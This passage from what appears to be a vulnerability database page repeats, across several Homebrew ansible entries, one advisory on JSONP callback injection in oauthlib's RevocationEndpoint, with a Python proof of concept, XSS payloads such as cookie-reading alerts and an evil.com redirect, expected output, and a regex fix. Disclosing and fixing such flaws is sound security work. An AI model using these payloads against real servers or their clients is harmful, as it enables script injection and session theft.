RevocationEndpoint(PassValidator(), enable_jsonp=True)\nfor p in payloads:\n h, body, status = ep_pass.create_revocation_response(\n \"https://auth.example.com/revoke\", http_method=\"POST\",\n body=f\"token=x\u0026callback={p}\")\n assert p in body, \"Payload not reflected\"\n print(f\" [{status}] Content-Type: {h.get(\u0027Content-Type\u0027,\u0027(none)\u0027)} Body: {body}\")\n\n# --- Control (default: enable_jsonp=False) ---\nprint(\"\\nControl (enable_jsonp=False, default):\")\nep_safe = RevocationEndpoint(FailValidator(), enable_jsonp=False)\n_, body, status = ep_safe.create_revocation_response(\n \"https://auth.example.com/revoke\", http_method=\"POST\",\n body=\"token=x\u0026callback=alert(1)//\")\nassert \"alert\" not in body, \"Payload should not be present\"\nprint(f\" [{status}] {body}\")\nprint(\"\\nAll assertions passed.\")\n```\n\n**Expected output:**\n\n```\nError path (enable_jsonp=True, auth fails):\n [401] Content-Type: application/json Body: alert(document.cookie)//({\"error\": \"invalid_client\"});\n [401] Content-Type: application/json Body: window.location=\u0027https://evil.com/\u0027//({\"error\": \"invalid_client\"});\n [401] Content-Type: application/json Body: eval(\u0027malicious\u0027)//({\"error\": \"invalid_client\"});\n\nSuccess path (enable_jsonp=True, revocation succeeds):\n [200] Content-Type: (none) Body: alert(document.cookie)//();\n [200] Content-Type: (none) Body: window.location=\u0027https://evil.com/\u0027//();\n [200] Content-Type: (none) Body: eval(\u0027malicious\u0027)//();\n\nControl (enable_jsonp=False, default):\n [401] {\"error\": \"invalid_client\"}\n\nAll assertions passed.\n```\n\nBoth paths reflect the attacker\u0027s payload verbatim into the response body.\n\n### Impact\n\nAny oauthlib-based authorization server that enables JSONP on the revocation endpoint (`enable_jsonp=True`) returns attacker-controlled JavaScript in its response body.\n\nAny page or application that loads this endpoint\u0027s response as JSONP and exposes attacker influence over the `callback` parameter will execute attacker-controlled code in its own origin. If a legitimate OAuth client uses JSONP revocation (as documented by oauthlib\u0027s client-side API) and an attacker can influence the callback value, the attacker controls what code runs in the client application, including access to the client page\u0027s DOM and any data normally accessible to scripts running in that origin.\n\nThe JSONP feature is intended for legacy cross-origin browser support. Deployments that need it are typically JavaScript-heavy clients, exactly the environment most sensitive to script injection.\n\n**Affected versions:** oauthlib \u003e= 0.6.1 through 3.3.1 (current) and master. The unsanitized callback has been present since the revocation endpoint was first introduced in 2013 (commit `da775de`). The `enable_jsonp` gate was added in 2014 (commit `b85f89a`) but no validation of the callback value was ever added.\n\n### Suggested fix\n\nValidate the `callback` parameter against a strict pattern for legal JavaScript identifiers before using it in the response. Reject or ignore values that do not match:\n\n```python\nimport re\n\n# Only allow safe JSONP callback names: valid JS identifiers, optionally dot-separated\nJSONP_CALLBACK_PATTERN = re.compile(r\u0027^[a-zA-Z_$][a-zA-Z0-9_$]*(\\.[a-zA-Z_$][a-zA-Z0-9_$]*)*$\u0027)\n\n# In create_revocation_response(), before using request.callback:\nif self.enable_jsonp and request.callback:\n if not JSONP_CALLBACK_PATTERN.match(request.callback):\n request.callback = None\n```\n\nThis is the standard mitigation for JSONP callback injection and is the approach used by jQuery, Express.js, and Google APIs. It ensures only syntactically valid function names like `package.hello_world` are accepted, while blocking payloads like `alert(document.cookie)//`.\n\nAs a secondary hardening measure, when JSONP is enabled, the response should set `Content-Type: application/javascript` (not `application/json` or empty) to ensure correct browser handling. Currently the success path returns no Content-Type at all, and the error path returns `application/json`.\n\nAlternatively, if JSONP is no longer considered a necessary feature, consider deprecating and removing the `enable_jsonp` option entirely. CORS is now supported by all modern browsers and is the standard mechanism for cross-origin API access.",
"id": "BREW-ansible@10-CVE-2026-49264",
"modified": "2026-10-14T09:04:23Z",
"published": "2026-09-30T19:48:26Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/oauthlib/oauthlib/security/advisories/GHSA-hj66-6f7g-4r5v"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-49264"
},
{
"type": "WEB",
"url": "https://github.com/oauthlib/oauthlib/pull/951"
},
{
"type": "WEB",
"url": "https://github.com/oauthlib/oauthlib/commit/c888359f3c42bec235b2c5caab2069c9ed62457c"
},
{
"type": "PACKAGE",
"url": "https://github.com/oauthlib/oauthlib"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/oauthlib/PYSEC-2026-4113.yaml"
}
],
"schema_version": "1.7.3",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Oauthlib : Unsafe JSONP callback injection in RevocationEndpoint allows arbitrary JavaScript response generation",
"upstream": [
"GHSA-hj66-6f7g-4r5v",
"CVE-2026-49264",
"PYSEC-2026-4113"
]
}
BREW-ANSIBLE@12-CVE-2026-49264 (GHSA-HJ66-6F7G-4R5V)
Vulnerability from osv_homebrew – Published: 2026-09-30 18:43 – Updated: 2026-10-14 08:46 – Source websiteSummary
When enable_jsonp=True, oauthlib's RevocationEndpoint reflects the user-supplied callback parameter directly into JavaScript response bodies on both success and error paths without validating that it is a legal JSONP callback name. This allows arbitrary JavaScript response generation instead of a restricted function call, making the documented JSONP revocation feature unsafe for browser-based JSONP consumption when attackers can influence callback.
Details
The issue is in oauthlib/oauth2/rfc6749/endpoints/revocation.py.
When enable_jsonp=True is passed to the RevocationEndpoint constructor, two code paths wrap the response body using the user-supplied request.callback parameter:
# Error response path (line 72-73):
if self.enable_jsonp and request.callback:
response_body = '{}({});'.format(request.callback, response_body)
# Success response path (line 81-82):
if self.enable_jsonp and request.callback:
response_body = request.callback + '();'
The request.callback value comes from HTTP request parameters, either the query string or POST body, via the Request class in oauthlib/common.py (lines 394-395), which merges query and body parameters into _params. Any value the client sends as callback is used verbatim.
There is no validation of any kind on the callback parameter: - No check that it is a valid JavaScript identifier - No whitelist of allowed characters - No escaping or sanitization
A safe JSONP implementation must validate that the callback is a legal JavaScript function name (e.g., matching ^[a-zA-Z_$][a-zA-Z0-9_$.]*$). Without this, the attacker controls the JavaScript code returned in the response body. This is the standard mitigation used by jQuery, Express.js, Google APIs, and other major JSONP implementations.
How the injection works:
An attacker sends a revocation request with a crafted callback value:
POST /revoke HTTP/1.1
Content-Type: application/x-www-form-urlencoded
token=anything&callback=alert(document.cookie)//
The server responds with:
alert(document.cookie)//({"error": "invalid_client"});
This is syntactically valid JavaScript. alert(document.cookie) executes as a statement, and // comments out the rest of the line. The attacker has full control over the code that appears before the //.
Execution context and attack surface:
JSONP works by having a browser load a remote script via <script src="...">. The loaded script executes in the origin of the including page, not the remote server. This means a <script src="https://auth.example.com/revoke?token=x&callback=payload"> tag on evil.com would execute the payload in evil.com's context, not the auth server's context.
The impact comes from client-side integrations that consume this endpoint as trusted JSONP. If a legitimate OAuth client includes <script src> pointed at the revocation endpoint and an attacker can influence the callback value (e.g., via query parameter injection, a reflected value, or a man-in-the-middle downgrade), the attacker controls what code runs in the client application's origin. The authorization server becomes a source of attacker-controlled JavaScript that client applications trust and execute.
Note: the enable_jsonp parameter defaults to False, so only deployments that explicitly opt in are affected. However, this is a supported, documented library feature, not a debug flag. The client-side library includes prepare_token_revocation_request() with an explicit callback parameter (oauthlib/oauth2/rfc6749/parameters.py, line 174), and the documentation shows JSONP revocation as a use case (oauthlib/oauth2/rfc6749/clients/base.py, lines 351-358). The existing test suite tests JSONP callback reflection with a benign value (test_revocation_endpoint.py, lines 91-101) but does not test for injection. Deployments that enable JSONP typically do so to support older browsers or cross-origin revocation from JavaScript clients, these are exactly the environments most sensitive to script injection.
PoC
Requirements: Python 3.x with oauthlib installed (pip install oauthlib).
from oauthlib.oauth2.rfc6749.endpoints.revocation import RevocationEndpoint
from oauthlib.oauth2.rfc6749.request_validator import RequestValidator
class FailValidator(RequestValidator):
"""Auth fails -> triggers error response path (lines 72-73)."""
def client_authentication_required(self, request, *a, **kw): return True
def authenticate_client(self, request, *a, **kw): return False
def authenticate_client_id(self, client_id, request, *a, **kw): return False
class PassValidator(RequestValidator):
"""Auth passes -> triggers success response path (lines 81-82)."""
def client_authentication_required(self, request, *a, **kw): return False
def authenticate_client_id(self, client_id, request, *a, **kw): return True
def revoke_token(self, token, token_type_hint, request, *a, **kw): pass
payloads = [
"alert(document.cookie)//",
"window.location='https://evil.com/'//",
"eval('malicious')//",
]
# --- Error path (401) ---
print("Error path (enable_jsonp=True, auth fails):")
ep_fail = RevocationEndpoint(FailValidator(), enable_jsonp=True)
for p in payloads:
h, body, status = ep_fail.create_revocation_response(
"https://auth.example.com/revoke", http_method="POST",
body=f"token=x&callback={p}")
assert p in body, "Payload not reflected"
print(f" [{status}] Content-Type: {h.get('Content-Type','(none)')} Body: {body}")
# --- Success path (200) ---
print("\nSuccess path (enable_jsonp=True, revocation succeeds):")
ep_pass = RevocationEndpoint(PassValidator(), enable_jsonp=True)
for p in payloads:
h, body, status = ep_pass.create_revocation_response(
"https://auth.example.com/revoke", http_method="POST",
body=f"token=x&callback={p}")
assert p in body, "Payload not reflected"
print(f" [{status}] Content-Type: {h.get('Content-Type','(none)')} Body: {body}")
# --- Control (default: enable_jsonp=False) ---
print("\nControl (enable_jsonp=False, default):")
ep_safe = RevocationEndpoint(FailValidator(), enable_jsonp=False)
_, body, status = ep_safe.create_revocation_response(
"https://auth.example.com/revoke", http_method="POST",
body="token=x&callback=alert(1)//")
assert "alert" not in body, "Payload should not be present"
print(f" [{status}] {body}")
print("\nAll assertions passed.")
Expected output:
Error path (enable_jsonp=True, auth fails):
[401] Content-Type: application/json Body: alert(document.cookie)//({"error": "invalid_client"});
[401] Content-Type: application/json Body: window.location='https://evil.com/'//({"error": "invalid_client"});
[401] Content-Type: application/json Body: eval('malicious')//({"error": "invalid_client"});
Success path (enable_jsonp=True, revocation succeeds):
[200] Content-Type: (none) Body: alert(document.cookie)//();
[200] Content-Type: (none) Body: window.location='https://evil.com/'//();
[200] Content-Type: (none) Body: eval('malicious')//();
Control (enable_jsonp=False, default):
[401] {"error": "invalid_client"}
All assertions passed.
Both paths reflect the attacker's payload verbatim into the response body.
Impact
Any oauthlib-based authorization server that enables JSONP on the revocation endpoint (enable_jsonp=True) returns attacker-controlled JavaScript in its response body.
Any page or application that loads this endpoint's response as JSONP and exposes attacker influence over the callback parameter will execute attacker-controlled code in its own origin. If a legitimate OAuth client uses JSONP revocation (as documented by oauthlib's client-side API) and an attacker can influence the callback value, the attacker controls what code runs in the client application, including access to the client page's DOM and any data normally accessible to scripts running in that origin.
The JSONP feature is intended for legacy cross-origin browser support. Deployments that need it are typically JavaScript-heavy clients, exactly the environment most sensitive to script injection.
Affected versions: oauthlib >= 0.6.1 through 3.3.1 (current) and master. The unsanitized callback has been present since the revocation endpoint was first introduced in 2013 (commit da775de). The enable_jsonp gate was added in 2014 (commit b85f89a) but no validation of the callback value was ever added.
Suggested fix
Validate the callback parameter against a strict pattern for legal JavaScript identifiers before using it in the response. Reject or ignore values that do not match:
import re
# Only allow safe JSONP callback names: valid JS identifiers, optionally dot-separated
JSONP_CALLBACK_PATTERN = re.compile(r'^[a-zA-Z_$][a-zA-Z0-9_$]*(\.[a-zA-Z_$][a-zA-Z0-9_$]*)*$')
# In create_revocation_response(), before using request.callback:
if self.enable_jsonp and request.callback:
if not JSONP_CALLBACK_PATTERN.match(request.callback):
request.callback = None
This is the standard mitigation for JSONP callback injection and is the approach used by jQuery, Express.js, and Google APIs. It ensures only syntactically valid function names like package.hello_world are accepted, while blocking payloads like alert(document.cookie)//.
As a secondary hardening measure, when JSONP is enabled, the response should set Content-Type: application/javascript (not application/json or empty) to ensure correct browser handling. Currently the success path returns no Content-Type at all, and the error path returns application/json.
Alternatively, if JSONP is no longer considered a necessary feature, consider deprecating and removing the enable_jsonp option entirely. CORS is now supported by all modern browsers and is the standard mechanism for cross-origin API access.
| URL | Type | |||||||||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
|
||||||||||||||||||||
{
"affected": [
{
"ecosystem_specific": {
"fix": null,
"range_state": "affected",
"resource": "oauthlib",
"resource_purl": "pkg:pypi/oauthlib@3.3.1",
"upstream_fixed_in": "4.0.0"
},
"package": {
"ecosystem": "Homebrew",
"name": "ansible@12",
"purl": "pkg:brew/ansible%4012"
},
"ranges": [
{
"events": [
{
"introduced": "12.2.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"database_specific": {
"confidence": "high",
"source": "matched",
"strategy": "registry",
"upstream_evidence": [
{
"ecosystem": "PyPI",
"key": "pkg:pypi/oauthlib@3.3.1",
"name": "oauthlib",
"resource": "oauthlib",
"strategy": "registry",
"subject_version": "3.3.1"
}
]
},
"details": "### Summary\n\nWhen `enable_jsonp=True`, oauthlib\u0027s `RevocationEndpoint` reflects the user-supplied `callback` parameter directly into JavaScript response bodies on both success and error paths without validating that it is a legal JSONP callback name. This allows arbitrary JavaScript response generation instead of a restricted function call, making the documented JSONP revocation feature unsafe for browser-based JSONP consumption when attackers can influence `callback`.\n\n### Details\n\nThe issue is in `oauthlib/oauth2/rfc6749/endpoints/revocation.py`.\n\nWhen `enable_jsonp=True` is passed to the `RevocationEndpoint` constructor, two code paths wrap the response body using the user-supplied `request.callback` parameter:\n\n```python\n# Error response path (line 72-73):\nif self.enable_jsonp and request.callback:\n response_body = \u0027{}({});\u0027.format(request.callback, response_body)\n\n# Success response path (line 81-82):\nif self.enable_jsonp and request.callback:\n response_body = request.callback + \u0027();\u0027\n```\n\nThe `request.callback` value comes from HTTP request parameters, either the query string or POST body, via the `Request` class in `oauthlib/common.py` (lines 394-395), which merges query and body parameters into `_params`. Any value the client sends as `callback` is used verbatim.\n\nThere is no validation of any kind on the callback parameter:\n- No check that it is a valid JavaScript identifier\n- No whitelist of allowed characters\n- No escaping or sanitization\n\nA safe JSONP implementation must validate that the callback is a legal JavaScript function name (e.g., matching `^[a-zA-Z_$][a-zA-Z0-9_$.]*$`). Without this, the attacker controls the JavaScript code returned in the response body. This is the standard mitigation used by jQuery, Express.js, Google APIs, and other major JSONP implementations.\n\n**How the injection works:**\n\nAn attacker sends a revocation request with a crafted callback value:\n\n```\nPOST /revoke HTTP/1.1\nContent-Type: application/x-www-form-urlencoded\n\ntoken=anything\u0026callback=alert(document.cookie)//\n```\n\nThe server responds with:\n\n```\nalert(document.cookie)//({\"error\": \"invalid_client\"});\n```\n\nThis is syntactically valid JavaScript. `alert(document.cookie)` executes as a statement, and `//` comments out the rest of the line. The attacker has full control over the code that appears before the `//`.\n\n**Execution context and attack surface:**\n\nJSONP works by having a browser load a remote script via `\u003cscript src=\"...\"\u003e`. The loaded script executes in the origin of the **including page**, not the remote server. This means a `\u003cscript src=\"https://auth.example.com/revoke?token=x\u0026callback=payload\"\u003e` tag on `evil.com` would execute the payload in `evil.com`\u0027s context, not the auth server\u0027s context.\n\nThe impact comes from client-side integrations that consume this endpoint as trusted JSONP. If a legitimate OAuth client includes `\u003cscript src\u003e` pointed at the revocation endpoint and an attacker can influence the callback value (e.g., via query parameter injection, a reflected value, or a man-in-the-middle downgrade), the attacker controls what code runs in the client application\u0027s origin. The authorization server becomes a source of attacker-controlled JavaScript that client applications trust and execute.\n\nNote: the `enable_jsonp` parameter defaults to `False`, so only deployments that explicitly opt in are affected. However, this is a supported, documented library feature, not a debug flag. The client-side library includes `prepare_token_revocation_request()` with an explicit `callback` parameter (`oauthlib/oauth2/rfc6749/parameters.py`, line 174), and the documentation shows JSONP revocation as a use case (`oauthlib/oauth2/rfc6749/clients/base.py`, lines 351-358). The existing test suite tests JSONP callback reflection with a benign value (`test_revocation_endpoint.py`, lines 91-101) but does not test for injection. Deployments that enable JSONP typically do so to support older browsers or cross-origin revocation from JavaScript clients, these are exactly the environments most sensitive to script injection.\n\n### PoC\n\n**Requirements:** Python 3.x with oauthlib installed (`pip install oauthlib`).\n\n```python\nfrom oauthlib.oauth2.rfc6749.endpoints.revocation import RevocationEndpoint\nfrom oauthlib.oauth2.rfc6749.request_validator import RequestValidator\n\n\nclass FailValidator(RequestValidator):\n \"\"\"Auth fails -\u003e triggers error response path (lines 72-73).\"\"\"\n def client_authentication_required(self, request, *a, **kw): return True\n def authenticate_client(self, request, *a, **kw): return False\n def authenticate_client_id(self, client_id, request, *a, **kw): return False\n\n\nclass PassValidator(RequestValidator):\n \"\"\"Auth passes -\u003e triggers success response path (lines 81-82).\"\"\"\n def client_authentication_required(self, request, *a, **kw): return False\n def authenticate_client_id(self, client_id, request, *a, **kw): return True\n def revoke_token(self, token, token_type_hint, request, *a, **kw): pass\n\n\npayloads = [\n \"alert(document.cookie)//\",\n \"window.location=\u0027https://evil.com/\u0027//\",\n \"eval(\u0027malicious\u0027)//\",\n]\n\n# --- Error path (401) ---\nprint(\"Error path (enable_jsonp=True, auth fails):\")\nep_fail = RevocationEndpoint(FailValidator(), enable_jsonp=True)\nfor p in payloads:\n h, body, status = ep_fail.create_revocation_response(\n \"https://auth.example.com/revoke\", http_method=\"POST\",\n body=f\"token=x\u0026callback={p}\")\n assert p in body, \"Payload not reflected\"\n print(f\" [{status}] Content-Type: {h.get(\u0027Content-Type\u0027,\u0027(none)\u0027)} Body: {body}\")\n\n# --- Success path (200) ---\nprint(\"\\nSuccess path (enable_jsonp=True, revocation succeeds):\")\nep_pass = RevocationEndpoint(PassValidator(), enable_jsonp=True)\nfor p in payloads:\n h, body, status = ep_pass.create_revocation_response(\n \"https://auth.example.com/revoke\", http_method=\"POST\",\n body=f\"token=x\u0026callback={p}\")\n assert p in body, \"Payload not reflected\"\n print(f\" [{status}] Content-Type: {h.get(\u0027Content-Type\u0027,\u0027(none)\u0027)} Body: {body}\")\n\n# --- Control (default: enable_jsonp=False) ---\nprint(\"\\nControl (enable_jsonp=False, default):\")\nep_safe = RevocationEndpoint(FailValidator(), enable_jsonp=False)\n_, body, status = ep_safe.create_revocation_response(\n \"https://auth.example.com/revoke\", http_method=\"POST\",\n body=\"token=x\u0026callback=alert(1)//\")\nassert \"alert\" not in body, \"Payload should not be present\"\nprint(f\" [{status}] {body}\")\nprint(\"\\nAll assertions passed.\")\n```\n\n**Expected output:**\n\n```\nError path (enable_jsonp=True, auth fails):\n [401] Content-Type: application/json Body: alert(document.cookie)//({\"error\": \"invalid_client\"});\n [401] Content-Type: application/json Body: window.location=\u0027https://evil.com/\u0027//({\"error\": \"invalid_client\"});\n [401] Content-Type: application/json Body: eval(\u0027malicious\u0027)//({\"error\": \"invalid_client\"});\n\nSuccess path (enable_jsonp=True, revocation succeeds):\n [200] Content-Type: (none) Body: alert(document.cookie)//();\n [200] Content-Type: (none) Body: window.location=\u0027https://evil.com/\u0027//();\n [200] Content-Type: (none) Body: eval(\u0027malicious\u0027)//();\n\nControl (enable_jsonp=False, default):\n [401] {\"error\": \"invalid_client\"}\n\nAll assertions passed.\n```\n\nBoth paths reflect the attacker\u0027s payload verbatim into the response body.\n\n### Impact\n\nAny oauthlib-based authorization server that enables JSONP on the revocation endpoint (`enable_jsonp=True`) returns attacker-controlled JavaScript in its response body.\n\nAny page or application that loads this endpoint\u0027s response as JSONP and exposes attacker influence over the `callback` parameter will execute attacker-controlled code in its own origin. If a legitimate OAuth client uses JSONP revocation (as documented by oauthlib\u0027s client-side API) and an attacker can influence the callback value, the attacker controls what code runs in the client application, including access to the client page\u0027s DOM and any data normally accessible to scripts running in that origin.\n\nThe JSONP feature is intended for legacy cross-origin browser support. Deployments that need it are typically JavaScript-heavy clients, exactly the environment most sensitive to script injection.\n\n**Affected versions:** oauthlib \u003e= 0.6.1 through 3.3.1 (current) and master. The unsanitized callback has been present since the revocation endpoint was first introduced in 2013 (commit `da775de`). The `enable_jsonp` gate was added in 2014 (commit `b85f89a`) but no validation of the callback value was ever added.\n\n### Suggested fix\n\nValidate the `callback` parameter against a strict pattern for legal JavaScript identifiers before using it in the response. Reject or ignore values that do not match:\n\n```python\nimport re\n\n# Only allow safe JSONP callback names: valid JS identifiers, optionally dot-separated\nJSONP_CALLBACK_PATTERN = re.compile(r\u0027^[a-zA-Z_$][a-zA-Z0-9_$]*(\\.[a-zA-Z_$][a-zA-Z0-9_$]*)*$\u0027)\n\n# In create_revocation_response(), before using request.callback:\nif self.enable_jsonp and request.callback:\n if not JSONP_CALLBACK_PATTERN.match(request.callback):\n request.callback = None\n```\n\nThis is the standard mitigation for JSONP callback injection and is the approach used by jQuery, Express.js, and Google APIs. It ensures only syntactically valid function names like `package.hello_world` are accepted, while blocking payloads like `alert(document.cookie)//`.\n\nAs a secondary hardening measure, when JSONP is enabled, the response should set `Content-Type: application/javascript` (not `application/json` or empty) to ensure correct browser handling. Currently the success path returns no Content-Type at all, and the error path returns `application/json`.\n\nAlternatively, if JSONP is no longer considered a necessary feature, consider deprecating and removing the `enable_jsonp` option entirely. CORS is now supported by all modern browsers and is the standard mechanism for cross-origin API access.",
"id": "BREW-ansible@12-CVE-2026-49264",
"modified": "2026-10-14T08:46:22Z",
"published": "2026-09-30T18:43:25Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/oauthlib/oauthlib/security/advisories/GHSA-hj66-6f7g-4r5v"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-49264"
},
{
"type": "WEB",
"url": "https://github.com/oauthlib/oauthlib/pull/951"
},
{
"type": "WEB",
"url": "https://github.com/oauthlib/oauthlib/commit/c888359f3c42bec235b2c5caab2069c9ed62457c"
},
{
"type": "PACKAGE",
"url": "https://github.com/oauthlib/oauthlib"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/oauthlib/PYSEC-2026-4113.yaml"
}
],
"schema_version": "1.7.3",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Oauthlib : Unsafe JSONP callback injection in RevocationEndpoint allows arbitrary JavaScript response generation",
"upstream": [
"GHSA-hj66-6f7g-4r5v",
"CVE-2026-49264",
"PYSEC-2026-4113"
]
}
BREW-ANSIBLE@13-CVE-2026-49264 (GHSA-HJ66-6F7G-4R5V)
Vulnerability from osv_homebrew – Published: 2026-09-30 21:01 – Updated: 2026-10-14 10:00 – Source websiteSummary
When enable_jsonp=True, oauthlib's RevocationEndpoint reflects the user-supplied callback parameter directly into JavaScript response bodies on both success and error paths without validating that it is a legal JSONP callback name. This allows arbitrary JavaScript response generation instead of a restricted function call, making the documented JSONP revocation feature unsafe for browser-based JSONP consumption when attackers can influence callback.
Details
The issue is in oauthlib/oauth2/rfc6749/endpoints/revocation.py.
When enable_jsonp=True is passed to the RevocationEndpoint constructor, two code paths wrap the response body using the user-supplied request.callback parameter:
# Error response path (line 72-73):
if self.enable_jsonp and request.callback:
response_body = '{}({});'.format(request.callback, response_body)
# Success response path (line 81-82):
if self.enable_jsonp and request.callback:
response_body = request.callback + '();'
The request.callback value comes from HTTP request parameters, either the query string or POST body, via the Request class in oauthlib/common.py (lines 394-395), which merges query and body parameters into _params. Any value the client sends as callback is used verbatim.
There is no validation of any kind on the callback parameter: - No check that it is a valid JavaScript identifier - No whitelist of allowed characters - No escaping or sanitization
A safe JSONP implementation must validate that the callback is a legal JavaScript function name (e.g., matching ^[a-zA-Z_$][a-zA-Z0-9_$.]*$). Without this, the attacker controls the JavaScript code returned in the response body. This is the standard mitigation used by jQuery, Express.js, Google APIs, and other major JSONP implementations.
How the injection works:
An attacker sends a revocation request with a crafted callback value:
POST /revoke HTTP/1.1
Content-Type: application/x-www-form-urlencoded
token=anything&callback=alert(document.cookie)//
The server responds with:
alert(document.cookie)//({"error": "invalid_client"});
This is syntactically valid JavaScript. alert(document.cookie) executes as a statement, and // comments out the rest of the line. The attacker has full control over the code that appears before the //.
Execution context and attack surface:
JSONP works by having a browser load a remote script via <script src="...">. The loaded script executes in the origin of the including page, not the remote server. This means a <script src="https://auth.example.com/revoke?token=x&callback=payload"> tag on evil.com would execute the payload in evil.com's context, not the auth server's context.
The impact comes from client-side integrations that consume this endpoint as trusted JSONP. If a legitimate OAuth client includes <script src> pointed at the revocation endpoint and an attacker can influence the callback value (e.g., via query parameter injection, a reflected value, or a man-in-the-middle downgrade), the attacker controls what code runs in the client application's origin. The authorization server becomes a source of attacker-controlled JavaScript that client applications trust and execute.
Note: the enable_jsonp parameter defaults to False, so only deployments that explicitly opt in are affected. However, this is a supported, documented library feature, not a debug flag. The client-side library includes prepare_token_revocation_request() with an explicit callback parameter (oauthlib/oauth2/rfc6749/parameters.py, line 174), and the documentation shows JSONP revocation as a use case (oauthlib/oauth2/rfc6749/clients/base.py, lines 351-358). The existing test suite tests JSONP callback reflection with a benign value (test_revocation_endpoint.py, lines 91-101) but does not test for injection. Deployments that enable JSONP typically do so to support older browsers or cross-origin revocation from JavaScript clients, these are exactly the environments most sensitive to script injection.
PoC
Requirements: Python 3.x with oauthlib installed (pip install oauthlib).
from oauthlib.oauth2.rfc6749.endpoints.revocation import RevocationEndpoint
from oauthlib.oauth2.rfc6749.request_validator import RequestValidator
class FailValidator(RequestValidator):
"""Auth fails -> triggers error response path (lines 72-73)."""
def client_authentication_required(self, request, *a, **kw): return True
def authenticate_client(self, request, *a, **kw): return False
def authenticate_client_id(self, client_id, request, *a, **kw): return False
class PassValidator(RequestValidator):
"""Auth passes -> triggers success response path (lines 81-82)."""
def client_authentication_required(self, request, *a, **kw): return False
def authenticate_client_id(self, client_id, request, *a, **kw): return True
def revoke_token(self, token, token_type_hint, request, *a, **kw): pass
payloads = [
"alert(document.cookie)//",
"window.location='https://evil.com/'//",
"eval('malicious')//",
]
# --- Error path (401) ---
print("Error path (enable_jsonp=True, auth fails):")
ep_fail = RevocationEndpoint(FailValidator(), enable_jsonp=True)
for p in payloads:
h, body, status = ep_fail.create_revocation_response(
"https://auth.example.com/revoke", http_method="POST",
body=f"token=x&callback={p}")
assert p in body, "Payload not reflected"
print(f" [{status}] Content-Type: {h.get('Content-Type','(none)')} Body: {body}")
# --- Success path (200) ---
print("\nSuccess path (enable_jsonp=True, revocation succeeds):")
ep_pass = RevocationEndpoint(PassValidator(), enable_jsonp=True)
for p in payloads:
h, body, status = ep_pass.create_revocation_response(
"https://auth.example.com/revoke", http_method="POST",
body=f"token=x&callback={p}")
assert p in body, "Payload not reflected"
print(f" [{status}] Content-Type: {h.get('Content-Type','(none)')} Body: {body}")
# --- Control (default: enable_jsonp=False) ---
print("\nControl (enable_jsonp=False, default):")
ep_safe = RevocationEndpoint(FailValidator(), enable_jsonp=False)
_, body, status = ep_safe.create_revocation_response(
"https://auth.example.com/revoke", http_method="POST",
body="token=x&callback=alert(1)//")
assert "alert" not in body, "Payload should not be present"
print(f" [{status}] {body}")
print("\nAll assertions passed.")
Expected output:
Error path (enable_jsonp=True, auth fails):
[401] Content-Type: application/json Body: alert(document.cookie)//({"error": "invalid_client"});
[401] Content-Type: application/json Body: window.location='https://evil.com/'//({"error": "invalid_client"});
[401] Content-Type: application/json Body: eval('malicious')//({"error": "invalid_client"});
Success path (enable_jsonp=True, revocation succeeds):
[200] Content-Type: (none) Body: alert(document.cookie)//();
[200] Content-Type: (none) Body: window.location='https://evil.com/'//();
[200] Content-Type: (none) Body: eval('malicious')//();
Control (enable_jsonp=False, default):
[401] {"error": "invalid_client"}
All assertions passed.
Both paths reflect the attacker's payload verbatim into the response body.
Impact
Any oauthlib-based authorization server that enables JSONP on the revocation endpoint (enable_jsonp=True) returns attacker-controlled JavaScript in its response body.
Any page or application that loads this endpoint's response as JSONP and exposes attacker influence over the callback parameter will execute attacker-controlled code in its own origin. If a legitimate OAuth client uses JSONP revocation (as documented by oauthlib's client-side API) and an attacker can influence the callback value, the attacker controls what code runs in the client application, including access to the client page's DOM and any data normally accessible to scripts running in that origin.
The JSONP feature is intended for legacy cross-origin browser support. Deployments that need it are typically JavaScript-heavy clients, exactly the environment most sensitive to script injection.
Affected versions: oauthlib >= 0.6.1 through 3.3.1 (current) and master. The unsanitized callback has been present since the revocation endpoint was first introduced in 2013 (commit da775de). The enable_jsonp gate was added in 2014 (commit b85f89a) but no validation of the callback value was ever added.
Suggested fix
Validate the callback parameter against a strict pattern for legal JavaScript identifiers before using it in the response. Reject or ignore values that do not match:
import re
# Only allow safe JSONP callback names: valid JS identifiers, optionally dot-separated
JSONP_CALLBACK_PATTERN = re.compile(r'^[a-zA-Z_$][a-zA-Z0-9_$]*(\.[a-zA-Z_$][a-zA-Z0-9_$]*)*$')
# In create_revocation_response(), before using request.callback:
if self.enable_jsonp and request.callback:
if not JSONP_CALLBACK_PATTERN.match(request.callback):
request.callback = None
This is the standard mitigation for JSONP callback injection and is the approach used by jQuery, Express.js, and Google APIs. It ensures only syntactically valid function names like package.hello_world are accepted, while blocking payloads like alert(document.cookie)//.
As a secondary hardening measure, when JSONP is enabled, the response should set Content-Type: application/javascript (not application/json or empty) to ensure correct browser handling. Currently the success path returns no Content-Type at all, and the error path returns application/json.
Alternatively, if JSONP is no longer considered a necessary feature, consider deprecating and removing the enable_jsonp option entirely. CORS is now supported by all modern browsers and is the standard mechanism for cross-origin API access.
| URL | Type | |||||||||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
|
||||||||||||||||||||
{
"affected": [
{
"ecosystem_specific": {
"fix": "bump",
"range_state": "fixed",
"resource": "oauthlib",
"resource_purl": "pkg:pypi/oauthlib@4.0.0",
"upstream_fixed_in": "4.0.0"
},
"package": {
"ecosystem": "Homebrew",
"name": "ansible@13",
"purl": "pkg:brew/ansible%4013"
},
"ranges": [
{
"events": [
{
"introduced": "13.7.0"
},
{
"fixed": "13.8.0_3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"database_specific": {
"confidence": "high",
"source": "matched",
"strategy": "registry",
